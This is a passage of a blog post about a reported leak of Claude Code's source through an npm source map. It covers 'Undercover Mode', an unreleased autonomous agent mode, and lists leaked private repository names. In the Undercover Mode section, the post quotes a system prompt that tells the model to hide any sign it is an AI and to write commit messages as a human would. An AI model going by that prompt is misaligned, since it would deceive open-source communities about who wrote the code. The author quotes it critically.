data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1056,&quot;width&quot;:1262,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:235100,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.sabrina.dev/i/192994033?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7cAH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png 424w, https://substackcdn.com/image/fetch/$s_!7cAH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png 848w, https://substackcdn.com/image/fetch/$s_!7cAH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png 1272w, https://substackcdn.com/image/fetch/$s_!7cAH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Secret Model Codenames</h3><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HwbY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HwbY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png 424w, https://substackcdn.com/image/fetch/$s_!HwbY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png 848w, https://substackcdn.com/image/fetch/$s_!HwbY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png 1272w, https://substackcdn.com/image/fetch/$s_!HwbY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HwbY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png" width="1260" height="502" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:502,&quot;width&quot;:1260,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:89341,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.sabrina.dev/i/192994033?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!HwbY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png 424w, https://substackcdn.com/image/fetch/$s_!HwbY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png 848w, https://substackcdn.com/image/fetch/$s_!HwbY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png 1272w, https://substackcdn.com/image/fetch/$s_!HwbY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75ca6f19-497c-4674-98ae-fd471738b114_1260x502.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Hidden Systems</h3><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eAEm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eAEm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png 424w, https://substackcdn.com/image/fetch/$s_!eAEm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png 848w, https://substackcdn.com/image/fetch/$s_!eAEm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png 1272w, https://substackcdn.com/image/fetch/$s_!eAEm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eAEm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png" width="1262" height="1218" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1218,&quot;width&quot;:1262,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:223190,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.sabrina.dev/i/192994033?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eAEm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png 424w, https://substackcdn.com/image/fetch/$s_!eAEm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png 848w, https://substackcdn.com/image/fetch/$s_!eAEm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png 1272w, https://substackcdn.com/image/fetch/$s_!eAEm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cca8d0-6846-410c-bf40-b09f94e260c7_1262x1218.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Undocumented Beta API Headers</h3><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!m97c!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!m97c!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png 424w, https://substackcdn.com/image/fetch/$s_!m97c!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png 848w, https://substackcdn.com/image/fetch/$s_!m97c!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png 1272w, https://substackcdn.com/image/fetch/$s_!m97c!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!m97c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png" width="1116" height="512" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:512,&quot;width&quot;:1116,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:96433,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.sabrina.dev/i/192994033?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!m97c!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png 424w, https://substackcdn.com/image/fetch/$s_!m97c!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png 848w, https://substackcdn.com/image/fetch/$s_!m97c!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png 1272w, https://substackcdn.com/image/fetch/$s_!m97c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b933309-0011-449f-8fa0-c7764ab0df2a_1116x512.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Notable Feature Gate Codenames</h3><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!45UC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!45UC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png 424w, https://substackcdn.com/image/fetch/$s_!45UC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png 848w, https://substackcdn.com/image/fetch/$s_!45UC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png 1272w, https://substackcdn.com/image/fetch/$s_!45UC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!45UC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png" width="1456" height="529" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:529,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:161129,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.sabrina.dev/i/192994033?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!45UC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png 424w, https://substackcdn.com/image/fetch/$s_!45UC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png 848w, https://substackcdn.com/image/fetch/$s_!45UC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png 1272w, https://substackcdn.com/image/fetch/$s_!45UC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd74fd133-37a4-4713-be27-9771dd3bcaa0_1752x636.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Leaked Internal Repo Names (from Undercover Mode allowlist)</h3><pre><code><code>anthropics/casino          anthropics/trellis
anthropics/forge-web       anthropics/feldspar-testing
anthropics/claude-for-hiring   anthropics/starling-configs
anthropics/mycro_manifests     anthropics/mycro_configs
anthropics/mobile-apps     anthropics/ts-capsules
anthropics/hex-export      anthropics/ts-tools
anthropics/labs            anthropics/infra-manifests
anthropics/dotfiles        anthropics/terraform-config
anthropics/argo-rollouts   anthropics/feedback-v2
anthropics/dbt             anthropics/anthropic
anthropics/apps            anthropics/claude-cli-internal</code></code></pre><div><hr></div><p>Watch me walk through the leaked code:</p><div id="youtube2-IxDvlrhfpHo" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;IxDvlrhfpHo&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/IxDvlrhfpHo?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>1. How the Leak Actually Happened</h2><p>On March 31 2026, Anthropic pushed Claude Code v2.1.88 to npm. The package included a 59.8MB source map file (<code>cli.js.map</code>) that was never supposed to ship.</p><p>Source maps connect compiled, minified production code back to the original readable source. Think of them as the answer key to a scrambled exam. Developers use them for debugging. They never ship to users.</p><p>Inside the source map: a URL pointing to a zip file on Anthropic&#8217;s Cloudflare R2 storage bucket. No authentication. No password required. Anyone who found the URL got the complete, unobfuscated TypeScript source of Claude Code.</p><p>The root cause was a missing <code>*.map</code> entry in <code>.npmignore</code>.</p><p>Yep,1 line in 1 config file.</p><p>Claude Code uses the Bun runtime for builds. Bun generates source maps by default. There&#8217;s an open bug (<a href="https://github.com/oven-sh/bun/issues/28001">oven-sh/bun#28001</a>, filed March 11) reporting Bun creates source maps in production mode even when docs say they should be disabled.</p><p>Security researcher <a href="https://x.com/Fried_rice/status/2038894956459290963">Chaofan Shou</a> was the first to post it publicly. The tweet hit millions of views. The leaked codebase hit 50,000 GitHub stars in under 2 hours.</p><p>This was the SECOND time it happened!</p><p>On Claude Code launch day (February 24, 2025), developer Dave Shoemaker found an 18-million-character inline source map in the same npm package. Anthropic pulled it within 2 hours. 13 months later, same bug, same vector.</p><p>Anthropic&#8217;s response: &#8220;This was a release packaging issue caused by human error, not a security breach.&#8221; Boris Cherny, the head of Claude Code: &#8220;No one was fired. It was an honest mistake.&#8221;</p><p>Five days earlier, on March 26, Fortune reported a separate misconfigured website exposed ~3,000 internal Anthropic files including details of an unreleased model called Mythos. Two leaks. Five days. From the company whose entire brand is safety. </p><h2>2. Undercover Mode</h2><p>Most coverage says &#8220;Anthropic has a stealth mode for open-source contributions.&#8221; True, kinda&#8230;</p><p><code>src/utils/undercover.ts</code> is 89 lines. When an Anthropic employee uses Claude Code, the tool checks if they&#8217;re in a private internal repo (matched against an allowlist of 22 repositories). If the repo is NOT on that list, Undercover Mode activates.</p><p>The system prompt it injects:</p><pre><code><code>NEVER include in commit messages or PR descriptions:
- Internal model codenames (animal names like Capybara, Tengu)
- Unreleased model version numbers (e.g., opus-4-7, sonnet-4-8)
- The phrase "Claude Code" or any mention that you are an AI
- Any hint of what model or version you are
- Co-Authored-By lines or any other attribution

Write commit messages as a human developer would.</code></code></pre><p><strong>It&#8217;s ON by default.</strong> </p><p>Not opt-in. The comment says: &#8220;The anthropics org contains PUBLIC repos (e.g. anthropics/claude-code). Undercover mode must stay ON in those.&#8221;</p><p><strong>There is no force-OFF.</strong> </p><p>Line 10 provides <code>CLAUDE_CODE_UNDERCOVER=1</code> to force it ON. Line 15: &#8220;There is NO force-OFF.&#8221; An employee who wants to be transparent about AI authorship on a public repo CANNOT disable this. INTERESTING!!</p><p><strong>It covers Anthropic&#8217;s own open-source projects.</strong> </p><p>When Anthropic employees contribute to <code>anthropics/claude-code</code> (82,000+ stars), the tool hides that AI wrote the code. Not third-party repos. Their own.</p><p>And the allowlist itself leaked 22 private repository names:</p><pre><code><code>anthropics/casino        anthropics/trellis
anthropics/forge-web     anthropics/feldspar-testing
anthropics/claude-for-hiring  anthropics/starling-configs
anthropics/mycro_manifests    anthropics/mobile-apps</code></code></pre><p>The mode designed to prevent leaking internal info leaked internal info&#8230;</p><p>Is this reasonable operational security to prevent codename leaks?</p><p>&#8230;or is it a company hiding AI authorship from the communities it contributes to?</p><h2>3. KAIROS: Autonomous Agent Architecture</h2><p>190 references across 61 files. </p><p>The biggest unreleased feature in the codebase.</p><p><strong>KAIROS</strong> is an autonomous daemon mode. Claude Code running unattended. GitHub webhooks. Scheduled tasks on 5-minute cron cycles. A <code>/dream</code> command for background memory consolidation. Exclusive tools not in the public build: <code>SendUserFileTool</code>, <code>PushNotificationTool</code>, <code>SubscribePRTool</code>.</p><p>Not active yet. It currently sits behind a feature flag. But the architecture is fully built. </p><p>This is the clearest signal of where Anthropic is heading: n</p><blockquote><p>not a coding assistant you talk to, but an autonomous agent that works while you sleep.</p></blockquote><p>The most interesting piece is the memory consolidation system. 